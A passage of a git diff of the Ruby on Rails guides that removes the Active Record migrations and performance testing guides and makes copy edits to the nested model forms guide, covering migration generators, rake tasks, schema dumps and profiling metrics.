-schema starts off with nothing in it, and each migration modifies it to add or
-remove tables, columns, or entries. Active Record knows how to update your
-schema along this timeline, bringing it from whatever point it is in the
-history to the latest version. Active Record will also update your
-`db/schema.rb` file to match the up-to-date structure of your database.
-
-Here's an example of a migration:
-
-```ruby
-class CreateProducts < ActiveRecord::Migration
- def change
- create_table :products do |t|
- t.string :name
- t.text :description
-
- t.timestamps
- end
- end
-end
-```
-
-This migration adds a table called `products` with a string column called
-`name` and a text column called `description`. A primary key column called `id`
-will also be added implicitly, as it's the default primary key for all Active
-Record models. The `timestamps` macro adds two columns, `created_at` and
-`updated_at`. These special columns are automatically managed by Active Record
-if they exist.
-
-Note that we define the change that we want to happen moving forward in time.
-Before this migration is run, there will be no table. After, the table will
-exist. Active Record knows how to reverse this migration as well: if we roll
-this migration back, it will remove the table.
-
-On databases that support transactions with statements that change the schema ,
-migrations are wrapped in a transaction. If the database does not support this
-then when a migration fails the parts of it that succeeded will not be rolled
-back. You will have to rollback the changes that were made by hand.
-
-If you wish for a migration to do something that Active Record doesn't know how
-to reverse, you can use `up` and `down` instead of `change`:
-
-```ruby
-class ChangeProductsPrice < ActiveRecord::Migration
- def up
- change_table :products do |t|
- t.string :price, null: false
- end
- end
-
- def down
- change_table :products do |t|
- t.integer :price, null: false
- end
- end
-end
-```
-
-Creating a Migration
---------------------
-
-### Creating a Standalone Migration
-
-Migrations are stored as files in the `db/migrate` directory, one for each
-migration class. The name of the file is of the form
-`YYYYMMDDHHMMSS_create_products.rb`, that is to say a UTC timestamp
-identifying the migration followed by an underscore followed by the name
-of the migration. The name of the migration class (CamelCased version)
-should match the latter part of the file name. For example
-`20080906120000_create_products.rb` should define class `CreateProducts` and
-`20080906120001_add_details_to_products.rb` should define
-`AddDetailsToProducts`.
-
-Of course, calculating timestamps is no fun, so Active Record provides a
-generator to handle making it for you:
-
-```bash
-$ rails generate migration AddPartNumberToProducts
-```
-
-This will create an empty but appropriately named migration:
-
-```ruby
-class AddPartNumberToProducts < ActiveRecord::Migration
- def change
- end
-end
-```
-
-If the migration name is of the form "AddXXXToYYY" or "RemoveXXXFromYYY" and is
-followed by a list of column names and types then a migration containing the
-appropriate `add_column` and `remove_column` statements will be created.
-
-```bash
-$ rails generate migration AddPartNumberToProducts part_number:string
-```
-
-will generate
-
-```ruby
-class AddPartNumberToProducts < ActiveRecord::Migration
- def change
- add_column :products, :part_number, :string
- end
-end
-```
-
-Similarly,
-
-```bash
-$ rails generate migration RemovePartNumberFromProducts part_number:string
-```
-
-generates
-
-```ruby
-class RemovePartNumberFromProducts < ActiveRecord::Migration
- def up
- remove_column :products, :part_number
- end
-
- def down
- add_column :products, :part_number, :string
- end
-end
-```
-
-You are not limited to one magically generated column. For example
-
-```bash
-$ rails generate migration AddDetailsToProducts part_number:string price:decimal
-```
-
-generates
-
-```ruby
-class AddDetailsToProducts < ActiveRecord::Migration
- def change
- add_column :products, :part_number, :string
- add_column :products, :price, :decimal
- end
-end
-```
-
-As always, what has been generated for you is just a starting point. You can add
-or remove from it as you see fit by editing the
-`db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb` file.
-
-NOTE: The generated migration file for destructive migrations will still be
-old-style using the `up` and `down` methods. This is because Rails needs to
-know the original data types defined when you made the original changes.
-
-Also, the generator accepts column type as `references`(also available as
-`belongs_to`). For instance
-
-```bash
-$ rails generate migration AddUserRefToProducts user:references
-```
-
-generates
-
-```ruby
-class AddUserRefToProducts < ActiveRecord::Migration
- def change
- add_reference :products, :user, index: true
- end
-end
-```
-
-This migration will create a `user_id` column and appropriate index.
-
-### Model Generators
-
-The model and scaffold generators will create migrations appropriate for adding
-a new model. This migration will already contain instructions for creating the
-relevant table. If you tell Rails what columns you want, then statements for
-adding these columns will also be created. For example, running
-
-```bash
-$ rails generate model Product name:string description:text
-```
-
-will create a migration that looks like this
-
-```ruby
-class CreateProducts < ActiveRecord::Migration
- def change
- create_table :products do |t|
- t.string :name
- t.text :description
-
- t.timestamps
- end
- end
-end
-```
-
-You can append as many column name/type pairs as you want.
-
-### Supported Type Modifiers
-
-You can also specify some options just after the field type between curly
-braces. You can use the following modifiers:
-
-* `limit` Sets the maximum size of the `string/text/binary/integer` fields
-* `precision` Defines the precision for the `decimal` fields
-* `scale` Defines the scale for the `decimal` fields
-* `polymorphic` Adds a `type` column for `belongs_to` associations
-
-For instance, running
-
-```bash
-$ rails generate migration AddDetailsToProducts price:decimal{5,2} supplier:references{polymorphic}
-```
-
-will produce a migration that looks like this
-
-```ruby
-class AddDetailsToProducts < ActiveRecord::Migration
- def change
- add_column :products, :price, precision: 5, scale: 2
- add_reference :products, :user, polymorphic: true, index: true
- end
-end
-```
-
-Writing a Migration
--------------------
-
-Once you have created your migration using one of the generators it's time to
-get to work!
-
-### Creating a Table
-
-The `create_table` method is one of the most fundamental, but most of the time,
-will be generated for you from using a model or scaffold generator. A typical
-use would be
-
-```ruby
-create_table :products do |t|
- t.string :name
-end
-```
-
-which creates a `products` table with a column called `name` (and as discussed
-below, an implicit `id` column).
-
-By default, `create_table` will create a primary key called `id`. You can change
-the name of the primary key with the `:primary_key` option (don't forget to
-update the corresponding model) or, if you don't want a primary key at all, you
-can pass the option `id: false`. If you need to pass database specific options
-you can place an SQL fragment in the `:options` option. For example,
-
-```ruby
-create_table :products, options: "ENGINE=BLACKHOLE" do |t|
- t.string :name, null: false
-end
-```
-
-will append `ENGINE=BLACKHOLE` to the SQL statement used to create the table
-(when using MySQL, the default is `ENGINE=InnoDB`).
-
-### Creating a Join Table
-
-Migration method `create_join_table` creates a HABTM join table. A typical use
-would be
-
-```ruby
-create_join_table :products, :categories
-```
-
-which creates a `categories_products` table with two columns called
-`category_id` and `product_id`. These columns have the option `:null` set to
-`false` by default.
-
-You can pass the option `:table_name` with you want to customize the table
-name. For example,
-
-```ruby
-create_join_table :products, :categories, table_name: :categorization
-```
-
-will create a `categorization` table.
-
-By default, `create_join_table` will create two columns with no options, but
-you can specify these options using the `:column_options` option. For example,
-
-```ruby
-create_join_table :products, :categories, column_options: {null: true}
-```
-
-will create the `product_id` and `category_id` with the `:null` option as
-`true`.
-
-### Changing Tables
-
-A close cousin of `create_table` is `change_table`, used for changing existing
-tables. It is used in a similar fashion to `create_table` but the object
-yielded to the block knows more tricks. For example
-
-```ruby
-change_table :products do |t|
- t.remove :description, :name
- t.string :part_number
- t.index :part_number
- t.rename :upccode, :upc_code
-end
-```
-
-removes the `description` and `name` columns, creates a `part_number` string
-column and adds an index on it. Finally it renames the `upccode` column.
-
-### When Helpers aren't Enough
-
-If the helpers provided by Active Record aren't enough you can use the `execute`
-method to execute arbitrary SQL:
-
-```ruby
-Products.connection.execute('UPDATE `products` SET `price`=`free` WHERE 1')
-```
-
-For more details and examples of individual methods, check the API documentation.
-In particular the documentation for
-[`ActiveRecord::ConnectionAdapters::SchemaStatements`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html)
-(which provides the methods available in the `up` and `down` methods),
-[`ActiveRecord::ConnectionAdapters::TableDefinition`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html)
-(which provides the methods available on the object yielded by `create_table`)
-and
-[`ActiveRecord::ConnectionAdapters::Table`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html)
-(which provides the methods available on the object yielded by `change_table`).
-
-### Using the `change` Method
-
-The `change` method is the primary way of writing migrations. It works for the
-majority of cases, where Active Record knows how to reverse the migration
-automatically. Currently, the `change` method supports only these migration
-definitions:
-
-* `add_column`
-* `add_index`
-* `add_timestamps`
-* `create_table`
-* `remove_timestamps`
-* `rename_column`
-* `rename_index`
-* `rename_table`
-
-If you're going to need to use any other methods, you'll have to write the
-`up` and `down` methods instead of using the `change` method.
-
-### Using the `up`/`down` Methods
-
-The `up` method should describe the transformation you'd like to make to your
-schema, and the `down` method of your migration should revert the
-transformations done by the `up` method. In other words, the database schema
-should be unchanged if you do an `up` followed by a `down`. For example, if you
-create a table in the `up` method, you should drop it in the `down` method. It
-is wise to reverse the transformations in precisely the reverse order they were
-made in the `up` method. For example,
-
-```ruby
-class ExampleMigration < ActiveRecord::Migration
- def up
- create_table :products do |t|
- t.references :category
- end
-
- #add a foreign key
- execute <<-SQL
- ALTER TABLE products
- ADD CONSTRAINT fk_products_categories
- FOREIGN KEY (category_id)
- REFERENCES categories(id)
- SQL
-
- add_column :users, :home_page_url, :string
- rename_column :users, :email, :email_address
- end
-
- def down
- rename_column :users, :email_address, :email
- remove_column :users, :home_page_url
-
- execute <<-SQL
- ALTER TABLE products
- DROP FOREIGN KEY fk_products_categories
- SQL
-
- drop_table :products
- end
-end
-```
-
-Sometimes your migration will do something which is just plain irreversible; for
-example, it might destroy some data. In such cases, you can raise
-`ActiveRecord::IrreversibleMigration` from your `down` method. If someone tries
-to revert your migration, an error message will be displayed saying that it
-can't be done.
-
-Running Migrations
-------------------
-
-Rails provides a set of Rake tasks to run certain sets of migrations.
-
-The very first migration related Rake task you will use will probably be
-`rake db:migrate`. In its most basic form it just runs the `up` or `change`
-method for all the migrations that have not yet been run. If there are
-no such migrations, it exits. It will run these migrations in order based
-on the date of the migration.
-
-Note that running the `db:migrate` also invokes the `db:schema:dump` task, which
-will update your `db/schema.rb` file to match the structure of your database.
-
-If you specify a target version, Active Record will run the required migrations
-(up, down or change) until it has reached the specified version. The version
-is the numerical prefix on the migration's filename. For example, to migrate
-to version 20080906120000 run
-
-```bash
-$ rake db:migrate VERSION=20080906120000
-```
-
-If version 20080906120000 is greater than the current version (i.e., it is
-migrating upwards), this will run the `up` method on all migrations up to and
-including 20080906120000, and will not execute any later migrations. If
-migrating downwards, this will run the `down` method on all the migrations
-down to, but not including, 20080906120000.
-
-### Rolling Back
-
-A common task is to rollback the last migration. For example, if you made a
-mistake in it and wish to correct it. Rather than tracking down the version
-number associated with the previous migration you can run
-
-```bash
-$ rake db:rollback
-```
-
-This will run the `down` method from the latest migration. If you need to undo
-several migrations you can provide a `STEP` parameter:
-
-```bash
-$ rake db:rollback STEP=3
-```
-
-will run the `down` method from the last 3 migrations.
-
-The `db:migrate:redo` task is a shortcut for doing a rollback and then migrating
-back up again. As with the `db:rollback` task, you can use the `STEP` parameter
-if you need to go more than one version back, for example
-
-```bash
-$ rake db:migrate:redo STEP=3
-```
-
-Neither of these Rake tasks do anything you could not do with `db:migrate`. They
-are simply more convenient, since you do not need to explicitly specify the
-version to migrate to.
-
-### Resetting the Database
-
-The `rake db:reset` task will drop the database, recreate it and load the
-current schema into it.
-
-NOTE: This is not the same as running all the migrations. It will only use the
-contents of the current schema.rb file. If a migration can't be rolled back,
-'rake db:reset' may not help you. To find out more about dumping the schema see
-'[schema dumping and you](#schema-dumping-and-you).'
-
-### Running Specific Migrations
-
-If you need to run a specific migration up or down, the `db:migrate:up` and
-`db:migrate:down` tasks will do that. Just specify the appropriate version and
-the corresponding migration will have its `up` or `down` method invoked, for
-example,
-
-```bash
-$ rake db:migrate:up VERSION=20080906120000
-```
-
-will run the `up` method from the 20080906120000 migration. This task will
-first check whether the migration is already performed and will do nothing if
-Active Record believes that it has already been run.
-
-### Running Migrations in Different Environments
-
-By default running `rake db:migrate` will run in the `development` environment.
-To run migrations against another environment you can specify it using the
-`RAILS_ENV` environment variable while running the command. For example to run
-migrations against the `test` environment you could run:
-
-```bash
-$ rake db:migrate RAILS_ENV=test
-```
-
-### Changing the Output of Running Migrations
-
-By default migrations tell you exactly what they're doing and how long it took.
-A migration creating a table and adding an index might produce output like this
-
-```bash
-== CreateProducts: migrating =================================================
--- create_table(:products)
- -> 0.0028s
-== CreateProducts: migrated (0.0028s) ========================================
-```
-
-Several methods are provided in migrations that allow you to control all this:
-
-| Method | Purpose
-| -------------------- | -------
-| suppress_messages | Takes a block as an argument and suppresses any output generated by the block.
-| say | Takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not.
-| say_with_time | Outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.
-
-For example, this migration
-
-```ruby
-class CreateProducts < ActiveRecord::Migration
- def change
- suppress_messages do
- create_table :products do |t|
- t.string :name
- t.text :description
- t.timestamps
- end
- end
-
- say "Created a table"
-
- suppress_messages {add_index :products, :name}
- say "and an index!", true
-
- say_with_time 'Waiting for a while' do
- sleep 10
- 250
- end
- end
-end
-```
-
-generates the following output
-
-```bash
-== CreateProducts: migrating =================================================
--- Created a table
- -> and an index!
--- Waiting for a while
- -> 10.0013s
- -> 250 rows
-== CreateProducts: migrated (10.0054s) =======================================
-```
-
-If you want Active Record to not output anything, then running `rake db:migrate
-VERBOSE=false` will suppress all output.
-
-Changing Existing Migrations
-----------------------------
-
-Occasionally you will make a mistake when writing a migration. If you have
-already run the migration then you cannot just edit the migration and run the
-migration again: Rails thinks it has already run the migration and so will do
-nothing when you run `rake db:migrate`. You must rollback the migration (for
-example with `rake db:rollback`), edit your migration and then run
-`rake db:migrate` to run the corrected version.
-
-In general, editing existing migrations is not a good idea. You will be
-creating extra work for yourself and your co-workers and cause major headaches
-if the existing version of the migration has already been run on production
-machines. Instead, you should write a new migration that performs the changes
-you require. Editing a freshly generated migration that has not yet been
-committed to source control (or, more generally, which has not been propagated
-beyond your development machine) is relatively harmless.
-
-Using Models in Your Migrations
--------------------------------
-
-When creating or updating data in a migration it is often tempting to use one
-of your models. After all, they exist to provide easy access to the underlying
-data. This can be done, but some caution should be observed.
-
-For example, problems occur when the model uses database columns which are (1)
-not currently in the database and (2) will be created by this or a subsequent
-migration.
-
-Consider this example, where Alice and Bob are working on the same code base
-which contains a `Product` model:
-
-Bob goes on vacation.
-
-Alice creates a migration for the `products` table which adds a new column and
-initializes it. She also adds a validation to the `Product` model for the new
-column.
-
-```ruby
-# db/migrate/20100513121110_add_flag_to_product.rb
-
-class AddFlagToProduct < ActiveRecord::Migration
- def change
- add_column :products, :flag, :boolean
- Product.update_all flag: false
- end
-end
-```
-
-```ruby
-# app/model/product.rb
-
-class Product < ActiveRecord::Base
- validates :flag, presence: true
-end
-```
-
-Alice adds a second migration which adds and initializes another column to the
-`products` table and also adds a validation to the `Product` model for the new
-column.
-
-```ruby
-# db/migrate/20100515121110_add_fuzz_to_product.rb
-
-class AddFuzzToProduct < ActiveRecord::Migration
- def change
- add_column :products, :fuzz, :string
- Product.update_all fuzz: 'fuzzy'
- end
-end
-```
-
-```ruby
-# app/model/product.rb
-
-class Product < ActiveRecord::Base
- validates :flag, :fuzz, presence: true
-end
-```
-
-Both migrations work for Alice.
-
-Bob comes back from vacation and:
-
-* Updates the source - which contains both migrations and the latest version
- of the Product model.
-* Runs outstanding migrations with `rake db:migrate`, which
- includes the one that updates the `Product` model.
-
-The migration crashes because when the model attempts to save, it tries to
-validate the second added column, which is not in the database when the _first_
-migration runs:
-
-```
-rake aborted!
-An error has occurred, this and all later migrations canceled:
-
-undefined method `fuzz' for #<Product:0x000001049b14a0>
-```
-
-A fix for this is to create a local model within the migration. This keeps
-Rails from running the validations, so that the migrations run to completion.
-
-When using a local model, it's a good idea to call
-`Product.reset_column_information` to refresh the `ActiveRecord` cache for the
-`Product` model prior to updating data in the database.
-
-If Alice had done this instead, there would have been no problem:
-
-```ruby
-# db/migrate/20100513121110_add_flag_to_product.rb
-
-class AddFlagToProduct < ActiveRecord::Migration
- class Product < ActiveRecord::Base
- end
-
- def change
- add_column :products, :flag, :boolean
- Product.reset_column_information
- Product.update_all flag: false
- end
-end
-```
-
-```ruby
-# db/migrate/20100515121110_add_fuzz_to_product.rb
-
-class AddFuzzToProduct < ActiveRecord::Migration
- class Product < ActiveRecord::Base
- end
-
- def change
- add_column :products, :fuzz, :string
- Product.reset_column_information
- Product.update_all fuzz: 'fuzzy'
- end
-end
-```
-
-There are other ways in which the above example could have gone badly.
-
-For example, imagine that Alice creates a migration that selectively
-updates the `description` field on certain products. She runs the
-migration, commits the code, and then begins working on the next feature,
-which is to add a new column `fuzz` to the products table.
-
-She creates two migrations for this new feature, one which adds the new
-column, and a second which selectively updates the `fuzz` column based on
-other product attributes.
-
-These migrations run just fine, but when Bob comes back from his vacation
-and calls `rake db:migrate` to run all the outstanding migrations, he gets a
-subtle bug: The descriptions have defaults, and the `fuzz` column is present,
-but `fuzz` is nil on all products.
-
-The solution is again to use `Product.reset_column_information` before
-referencing the Product model in a migration, ensuring the Active Record's
-knowledge of the table structure is current before manipulating data in those
-records.
-
-Schema Dumping and You
-----------------------
-
-### What are Schema Files for?
-
-Migrations, mighty as they may be, are not the authoritative source for your
-database schema. That role falls to either `db/schema.rb` or an SQL file which
-Active Record generates by examining the database. They are not designed to be
-edited, they just represent the current state of the database.
-
-There is no need (and it is error prone) to deploy a new instance of an app by
-replaying the entire migration history. It is much simpler and faster to just
-load into the database a description of the current schema.
-
-For example, this is how the test database is created: the current development
-database is dumped (either to `db/schema.rb` or `db/structure.sql`) and then
-loaded into the test database.
-
-Schema files are also useful if you want a quick look at what attributes an
-Active Record object has. This information is not in the model's code and is
-frequently spread across several migrations, but the information is nicely
-summed up in the schema file. The
-[annotate_models](https://github.com/ctran/annotate_models) gem automatically
-adds and updates comments at the top of each model summarizing the schema if
-you desire that functionality.
-
-### Types of Schema Dumps
-
-There are two ways to dump the schema. This is set in `config/application.rb`
-by the `config.active_record.schema_format` setting, which may be either `:sql`
-or `:ruby`.
-
-If `:ruby` is selected then the schema is stored in `db/schema.rb`. If you look
-at this file you'll find that it looks an awful lot like one very big
-migration:
-
-```ruby
-ActiveRecord::Schema.define(version: 20080906171750) do
- create_table "authors", force: true do |t|
- t.string "name"
- t.datetime "created_at"
- t.datetime "updated_at"
- end
-
- create_table "products", force: true do |t|
- t.string "name"
- t.text "description"
- t.datetime "created_at"
- t.datetime "updated_at"
- t.string "part_number"
- end
-end
-```
-
-In many ways this is exactly what it is. This file is created by inspecting the
-database and expressing its structure using `create_table`, `add_index`, and so
-on. Because this is database-independent, it could be loaded into any database
-that Active Record supports. This could be very useful if you were to
-distribute an application that is able to run against multiple databases.
-
-There is however a trade-off: `db/schema.rb` cannot express database specific
-items such as foreign key constraints, triggers, or stored procedures. While in
-a migration you can execute custom SQL statements, the schema dumper cannot
-reconstitute those statements from the database. If you are using features like
-this, then you should set the schema format to `:sql`.
-
-Instead of using Active Record's schema dumper, the database's structure will
-be dumped using a tool specific to the database (via the `db:structure:dump`
-Rake task) into `db/structure.sql`. For example, for PostgreSQL, the `pg_dump`
-utility is used. For MySQL, this file will contain the output of `SHOW CREATE
-TABLE` for the various tables.
-
-Loading these schemas is simply a question of executing the SQL statements they
-contain. By definition, this will create a perfect copy of the database's
-structure. Using the `:sql` schema format will, however, prevent loading the
-schema into a RDBMS other than the one used to create it.
-
-### Schema Dumps and Source Control
-
-Because schema dumps are the authoritative source for your database schema, it
-is strongly recommended that you check them into source control.
-
-Active Record and Referential Integrity
----------------------------------------
-
-The Active Record way claims that intelligence belongs in your models, not in
-the database. As such, features such as triggers or foreign key constraints,
-which push some of that intelligence back into the database, are not heavily
-used.
-
-Validations such as `validates :foreign_key, uniqueness: true` are one way in
-which models can enforce data integrity. The `:dependent` option on
-associations allows models to automatically destroy child objects when the
-parent is destroyed. Like anything which operates at the application level,
-these cannot guarantee referential integrity and so some people augment them
-with foreign key constraints in the database.
-
-Although Active Record does not provide any tools for working directly with
-such features, the `execute` method can be used to execute arbitrary SQL. You
-could also use some plugin like
-[foreigner](https://github.com/matthuhiggins/foreigner) which add foreign key
-support to Active Record (including support for dumping foreign keys in
-`db/schema.rb`).
-
-Migrations and Seed Data
-------------------------
-
-Some people use migrations to add data to the database:
-
-```ruby
-class AddInitialProducts < ActiveRecord::Migration
- def up
- 5.times do |i|
- Product.create(name: "Product ##{i}", description: "A product.")
- end
- end
-
- def down
- Product.delete_all
- end
-end
-```
-
-However, Rails has a 'seeds' feature that should be used for seeding a database
-with initial data. It's a really simple feature: just fill up `db/seeds.rb`
-with some Ruby code, and run `rake db:seed`:
-
-```ruby
-5.times do |i|
- Product.create(name: "Product ##{i}", description: "A product.")
-end
-```
-
-This is generally a much cleaner way to set up the database of a blank
-application.
diff --git a/guides/source/nested_model_forms.md b/guides/source/nested_model_forms.md
index 2b46a9d51e..f0ee34cfb1 100644
--- a/guides/source/nested_model_forms.md
+++ b/guides/source/nested_model_forms.md
@@ -1,4 +1,4 @@
-Rails nested model forms
+Rails Nested Model Forms
========================
Creating a form for a model _and_ its associations can become quite tedious. Therefore Rails provides helpers to assist in dealing with the complexities of generating these forms _and_ the required CRUD operations to create, update, and destroy associations.
@@ -9,7 +9,7 @@ After reading this guide, you will know:
--------------------------------------------------------------------------------
-NOTE: This guide assumes the user knows how to use the [Rails form helpers](form_helpers.html) in general. Also, it’s **not** an API reference. For a complete reference please visit [the Rails API documentation](http://api.rubyonrails.org/).
+NOTE: This guide assumes the user knows how to use the [Rails form helpers](form_helpers.html) in general. Also, it's **not** an API reference. For a complete reference please visit [the Rails API documentation](http://api.rubyonrails.org/).
Model setup
@@ -17,9 +17,9 @@ Model setup
To be able to use the nested model functionality in your forms, the model will need to support some basic operations.
-First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The `fields_for` form helper will look for this method to decide whether or not a nested model form should be build.
+First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The `fields_for` form helper will look for this method to decide whether or not a nested model form should be built.
-If the associated object is an array a form builder will be yielded for each object, else only a single form builder will be yielded.
+If the associated object is an array, a form builder will be yielded for each object, else only a single form builder will be yielded.
Consider a Person model with an associated Address. When asked to yield a nested FormBuilder for the `:address` attribute, the `fields_for` form helper will look for a method on the Person instance named `address_attributes=`.
@@ -54,9 +54,12 @@ class Person < ActiveRecord::Base
end
```
+NOTE: For greater detail on associations see [Active Record Associations](association_basics.html).
+For a complete reference on associations please visit the API documentation for [ActiveRecord::Associations::ClassMethods](http://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html).
+
### Custom model
-As you might have inflected from this explanation, you _don’t_ necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behaviour:
+As you might have inflected from this explanation, you _don't_ necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behavior:
#### Single associated object
@@ -98,7 +101,7 @@ A nested model form will _only_ be built if the associated object(s) exist. This
Consider the following typical RESTful controller which will prepare a new Person instance and its `address` and `projects` associations before rendering the `new` template:
```ruby
-class PeopleController < ActionController:Base
+class PeopleController < ApplicationController
def new
@person = Person.new
@person.built_address
@@ -177,7 +180,7 @@ When this form is posted the Rails parameter parser will construct a hash like t
}
```
-That’s it. The controller will simply pass this hash on to the model from the `create` action. The model will then handle building the `address` association for you and automatically save it when the parent (`person`) is saved.
+That's it. The controller will simply pass this hash on to the model from the `create` action. The model will then handle building the `address` association for you and automatically save it when the parent (`person`) is saved.
#### Nested form for a collection of associated objects
@@ -220,6 +223,6 @@ As you can see it has generated 2 `project name` inputs, one for each new `proje
You can basically see the `projects_attributes` hash as an array of attribute hashes, one for each model instance.
-NOTE: The reason that `fields_for` constructed a form which would result in a hash instead of an array is that it won't work for any forms nested deeper than one level deep.
+NOTE: The reason that `fields_for` constructed a hash instead of an array is that it won't work for any form nested deeper than one level deep.
TIP: You _can_ however pass an array to the writer method generated by `accepts_nested_attributes_for` if you're using plain Ruby or some other API access. See (TODO) for more info and example.
diff --git a/guides/source/performance_testing.md b/guides/source/performance_testing.md
deleted file mode 100644
index 182f7eb0fd..0000000000
--- a/guides/source/performance_testing.md
+++ /dev/null
@@ -1,686 +0,0 @@
-Performance Testing Rails Applications
-======================================
-
-This guide covers the various ways of performance testing a Ruby on Rails
-application.
-
-After reading this guide, you will know:
-
-* The various types of benchmarking and profiling metrics.
-* How to generate performance and benchmarking tests.
-* How to install and use a GC-patched Ruby binary to measure memory usage and object
- allocation.
-* The benchmarking information provided by Rails inside the log files.
-* Various tools facilitating benchmarking and profiling.
-
-Performance testing is an integral part of the development cycle. It is very
-important that you don't make your end users wait for too long before the page
-is completely loaded. Ensuring a pleasant browsing experience for end users and
-cutting the cost of unnecessary hardware is important for any non-trivial web
-application.
-
---------------------------------------------------------------------------------
-
-Performance Test Cases
-----------------------
-
-Rails performance tests are a special type of integration tests, designed for
-benchmarking and profiling the test code. With performance tests, you can
-determine where your application's memory or speed problems are coming from,
-and get a more in-depth picture of those problems.
-
-In a freshly generated Rails application, `test/performance/browsing_test.rb`
-contains an example of a performance test:
-
-```ruby
-require 'test_helper'
-require 'rails/performance_test_help'
-
-class BrowsingTest < ActionDispatch::PerformanceTest
- # Refer to the documentation for all available options
- # self.profile_options = { runs: 5, metrics: [:wall_time, :memory],
- # output: 'tmp/performance', formats: [:flat] }
-
- test "homepage" do
- get '/'
- end
-end
-```
-
-This example is a simple performance test case for profiling a GET request to
-the application's homepage.
-
-### Generating Performance Tests
-
-Rails provides a generator called `performance_test` for creating new
-performance tests:
-
-```bash
-$ rails generate performance_test homepage
-```
-
-This generates `homepage_test.rb` in the `test/performance` directory:
-
-```ruby
-require 'test_helper'
-require 'rails/performance_test_help'
-
-class HomepageTest < ActionDispatch::PerformanceTest
- # Refer to the documentation for all available options
- # self.profile_options = { runs: 5, metrics: [:wall_time, :memory],
- # output: 'tmp/performance', formats: [:flat] }
-
- test "homepage" do
- get '/'
- end
-end
-```
-
-### Examples
-
-Let's assume your application has the following controller and model:
-
-```ruby
-# routes.rb
-root to: 'home#dashboard'
-resources :posts
-
-# home_controller.rb
-class HomeController < ApplicationController
- def dashboard
- @users = User.last_ten.includes(:avatars)
- @posts = Post.all_today
- end
-end
-
-# posts_controller.rb
-class PostsController < ApplicationController
- def create
- @post = Post.create(params[:post])
- redirect_to(@post)
- end
-end
-
-# post.rb
-class Post < ActiveRecord::Base
- before_save :recalculate_costly_stats
-
- def slow_method
- # I fire gallzilion queries sleeping all around
- end
-
- private
-
- def recalculate_costly_stats
- # CPU heavy calculations
- end
-end
-```
-
-#### Controller Example
-
-Because performance tests are a special kind of integration test, you can use
-the `get` and `post` methods in them.
-
-Here's the performance test for `HomeController#dashboard` and
-`PostsController#create`:
-
-```ruby
-require 'test_helper'
-require 'rails/performance_test_help'
-
-class PostPerformanceTest < ActionDispatch::PerformanceTest
- def setup
- # Application requires logged-in user
- login_as(:lifo)
- end
-
- test "homepage" do
- get '/dashboard'
- end
-
- test "creating new post" do
- post '/posts', post: { body: 'lifo is fooling you' }
- end
-end
-```
-
-You can find more details about the `get` and `post` methods in the
-[Testing Rails Applications](testing.html) guide.
-
-#### Model Example
-
-Even though the performance tests are integration tests and hence closer to
-the request/response cycle by nature, you can still performance test pure model
-code.
-
-Performance test for `Post` model:
-
-```ruby
-require 'test_helper'
-require 'rails/performance_test_help'
-
-class PostModelTest < ActionDispatch::PerformanceTest
- test "creation" do
- Post.create body: 'still fooling you', cost: '100'
- end
-
- test "slow method" do
- # Using posts(:awesome) fixture
- posts(:awesome).slow_method
- end
-end
-```
-
-### Modes
-
-Performance tests can be run in two modes: Benchmarking and Profiling.
-
-#### Benchmarking
-
-Benchmarking makes it easy to quickly gather a few metrics about each test run.
-By default, each test case is run **4 times** in benchmarking mode.
-
-To run performance tests in benchmarking mode:
-
-```bash
-$ rake test:benchmark
-```
-
-#### Profiling
-
-Profiling allows you to make an in-depth analysis of each of your tests by using
-an external profiler. Depending on your Ruby interpreter, this profiler can be
-native (Rubinius, JRuby) or not (MRI, which uses RubyProf). By default, each
-test case is run **once** in profiling mode.
-
-To run performance tests in profiling mode:
-
-```bash
-$ rake test:profile
-```
-
-### Metrics
-
-Benchmarking and profiling run performance tests and give you multiple metrics.
-The availability of each metric is determined by the interpreter being used—none
-of them support all metrics—and by the mode in use. A brief description of each
-metric and their availability across interpreters/modes is given below.
-
-#### Wall Time
-
-Wall time measures the real world time elapsed during the test run. It is
-affected by any other processes concurrently running on the system.
-
-#### Process Time
-
-Process time measures the time taken by the process. It is unaffected by any
-other processes running concurrently on the same system. Hence, process time
-is likely to be constant for any given performance test, irrespective of the
-machine load.
-
-#### CPU Time
-
-Similar to process time, but leverages the more accurate CPU clock counter
-available on the Pentium and PowerPC platforms.
-
-#### User Time
-
-User time measures the amount of time the CPU spent in user-mode, i.e. within
-the process. This is not affected by other processes and by the time it possibly
-spends blocked.
-
-#### Memory
-
-Memory measures the amount of memory used for the performance test case.
-
-#### Objects
-
-Objects measures the number of objects allocated for the performance test case.
-
-#### GC Runs
-
-GC Runs measures the number of times GC was invoked for the performance test case.
-
-#### GC Time
-
-GC Time measures the amount of time spent in GC for the performance test case.
-
-#### Metric Availability
-
-##### Benchmarking
-
-| Interpreter | Wall Time | Process Time | CPU Time | User Time | Memory | Objects | GC Runs | GC Time |
-| ------------ | --------- | ------------ | -------- | --------- | ------ | ------- | ------- | ------- |
-| **MRI** | yes | yes | yes | no | yes | yes | yes | yes |
-| **REE** | yes | yes | yes | no | yes | yes | yes | yes |
-| **Rubinius** | yes | no | no | no | yes | yes | yes | yes |
-| **JRuby** | yes | no | no | yes | yes | yes | yes | yes |
-
-##### Profiling
-
-| Interpreter | Wall Time | Process Time | CPU Time | User Time | Memory | Objects | GC Runs | GC Time |
-| ------------ | --------- | ------------ | -------- | --------- | ------ | ------- | ------- | ------- |
-| **MRI** | yes | yes | no | no | yes | yes | yes | yes |
-| **REE** | yes | yes | no | no | yes | yes | yes | yes |
-| **Rubinius** | yes | no | no | no | no | no | no | no |
-| **JRuby** | yes | no | no | no | no | no | no | no |
-
-NOTE: To profile under JRuby you'll need to run `export JRUBY_OPTS="-Xlaunch.inproc=false --profile.api"`
-**before** the performance tests.
-
-### Understanding the Output
-
-Performance tests generate different outputs inside `tmp/performance` directory
-depending on their mode and metric.
-
-#### Benchmarking
-
